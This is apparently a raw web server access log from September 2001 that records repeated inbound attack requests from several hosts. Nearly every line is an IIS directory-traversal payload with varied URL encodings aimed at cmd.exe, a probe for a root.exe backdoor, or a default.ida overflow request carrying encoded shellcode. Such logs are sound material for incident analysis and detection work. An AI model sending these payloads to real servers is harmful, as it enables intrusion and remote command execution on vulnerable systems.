  13365. 20010920 15:38:00: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13366. 20010920 15:38:00: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13367. 20010920 15:38:00: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13368. 20010920 15:38:01: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13369. 20010920 15:38:01: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13370. 20010920 15:38:01:  [209.71.127.50] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13371. 20010920 15:38:19: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13372. 20010920 15:38:20: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13373. 20010920 15:38:20: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13374. 20010920 15:38:20: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13375. 20010920 15:38:21:  [209.71.127.50] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13376. 20010920 15:38:39: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13377. 20010920 15:38:39: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13378. 20010920 15:38:40:  [209.71.127.50] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13379. 20010920 15:39:04: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  13380. 20010920 15:39:04:  [209.71.127.50] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13381. 20010920 15:39:22:  [209.71.127.50] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13382. 20010920 15:39:41:  [209.71.127.50] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13383. 20010920 15:40:00:  [209.71.127.50] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13384. 20010920 15:40:18:  [209.71.127.50] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13385. 20010920 15:40:40:  [209.71.127.50] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13386. 20010920 15:40:59:  [209.71.127.50] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13387. 20010920 15:41:17:  [209.71.127.50] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13388. 20010920 15:41:36:  [209.71.127.50] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13389. 20010920 15:41:55:  [209.71.127.50] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13390. 20010920 15:42:14: c02-140.012.popsite.net [64.24.42.140] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  13391. 20010920 16:06:19: c02-140.012.popsite.net [64.24.42.140] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  13392. 20010920 16:06:24: c02-140.012.popsite.net [64.24.42.140] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13393. 20010920 16:06:29: c02-140.012.popsite.net [64.24.42.140] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13394. 20010920 16:06:36:  [209.71.127.50] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  13395. 20010920 16:22:46:  [209.71.127.50] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  13396. 20010920 16:23:05:  [209.71.127.50] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13397. 20010920 16:23:24:  [209.71.127.50] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13398. 20010920 16:23:43:  [209.71.127.50] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13399. 20010920 16:24:01:  [209.71.127.50] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13400. 20010920 16:24:20:  [209.71.127.50] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13401. 20010920 16:24:38:  [209.71.127.50] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13402. 20010920 16:24:56:  [209.71.127.50] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13403. 20010920 16:25:15:  [209.71.127.50] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13404. 20010920 16:25:34:  [209.71.127.50] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13405. 20010920 16:25:53:  [209.71.127.50] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13406. 20010920 16:26:12:  [209.71.127.50] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13407. 20010920 16:26:31: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  13408. 20010920 16:26:31:  [209.71.127.50] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13409. 20010920 16:26:50:  [209.71.127.50] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13410. 20010920 16:27:12:  [209.71.127.50] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13411. 20010920 16:27:30:  [128.197.227.160] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  13412. 20010920 16:30:06:  [128.197.227.160] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  13413. 20010920 16:30:24:  [128.197.227.160] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13414. 20010920 16:30:43:  [128.197.227.161] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  13415. 20010920 16:31:01:  [128.197.227.161] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  13416. 20010920 16:31:26:  [128.197.227.161] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13417. 20010920 16:31:44:  [128.197.227.161] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13418. 20010920 16:32:25:  [128.197.227.161] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13419. 20010920 16:32:43: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  13420. 20010920 16:44:52: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  13421. 20010920 16:44:53: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13422. 20010920 16:44:53: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13423. 20010920 16:44:53: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13424. 20010920 16:44:53: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13425. 20010920 16:44:53: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13426. 20010920 16:44:54: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13427. 20010920 16:44:54: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13428. 20010920 16:44:54: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13429. 20010920 16:44:54: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13430. 20010920 16:44:55: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13431. 20010920 16:44:56: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13432. 20010920 16:44:56: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13433. 20010920 16:44:56: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13434. 20010920 16:44:56: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13435. 20010920 16:44:56: host162.netcomco.com [] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  13436. 20010920 17:08:24: host162.netcomco.com [] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  13437. 20010920 17:08:24: host162.netcomco.com [] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13438. 20010920 17:08:24: host162.netcomco.com [] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13439. 20010920 17:08:25: host162.netcomco.com [] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13440. 20010920 17:08:26: host162.netcomco.com [] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13441. 20010920 17:08:26: host162.netcomco.com [] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13442. 20010920 17:08:30: host162.netcomco.com [] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13443. 20010920 17:08:31: host162.netcomco.com [] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13444. 20010920 17:08:31: host162.netcomco.com [] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13445. 20010920 17:08:32: host162.netcomco.com [] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13446. 20010920 17:08:33: host162.netcomco.com [] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13447. 20010920 17:08:34: host162.netcomco.com [] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13448. 20010920 17:08:35: host162.netcomco.com [] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13449. 20010920 17:08:36: host162.netcomco.com [] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13450. 20010920 17:08:37: host162.netcomco.com [] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13451. 20010920 17:08:37: ucsf-113-61.ucsf.edu [128.218.113.61] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  13452. 20010920 17:21:47: ucsf-113-61.ucsf.edu [128.218.113.61] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  13453. 20010920 17:21:47: ucsf-113-61.ucsf.edu [128.218.113.61] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13454. 20010920 17:21:47: ucsf-113-61.ucsf.edu [128.218.113.61] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13455. 20010920 17:21:48: ucsf-113-61.ucsf.edu [128.218.113.61] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13456. 20010920 17:21:48: ucsf-113-61.ucsf.edu [128.218.113.61] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13457. 20010920 17:21:48: ucsf-113-61.ucsf.edu [128.218.113.61] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13458. 20010920 17:21:48: ucsf-113-61.ucsf.edu [128.218.113.61] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13459. 20010920 17:21:48: ucsf-113-61.ucsf.edu [128.218.113.61] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13460. 20010920 17:21:48: ucsf-113-61.ucsf.edu [128.218.113.61] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13461. 20010920 17:21:49: ucsf-113-61.ucsf.edu [128.218.113.61] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13462. 20010920 17:21:50: ucsf-113-61.ucsf.edu [128.218.113.61] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13463. 20010920 17:21:50: ucsf-113-61.ucsf.edu [128.218.113.61] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13464. 20010920 17:21:50: ucsf-113-61.ucsf.edu [128.218.113.61] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13465. 20010920 17:21:51: ucsf-113-61.ucsf.edu [128.218.113.61] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13466. 20010920 17:21:51: ucsf-113-61.ucsf.edu [128.218.113.61] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13467. 20010920 17:21:52: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  13468. 20010920 17:28:44: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  13469. 20010920 17:28:44: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13470. 20010920 17:28:44: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13471. 20010920 17:28:45: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13472. 20010920 17:28:46: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13473. 20010920 17:28:46: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13474. 20010920 17:28:46: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13475. 20010920 17:28:46: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13476. 20010920 17:28:46: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13477. 20010920 17:28:47: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13478. 20010920 17:28:47: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13479. 20010920 17:28:47: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13480. 20010920 17:28:47: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13481. 20010920 17:28:48: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13482. 20010920 17:28:49: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13483.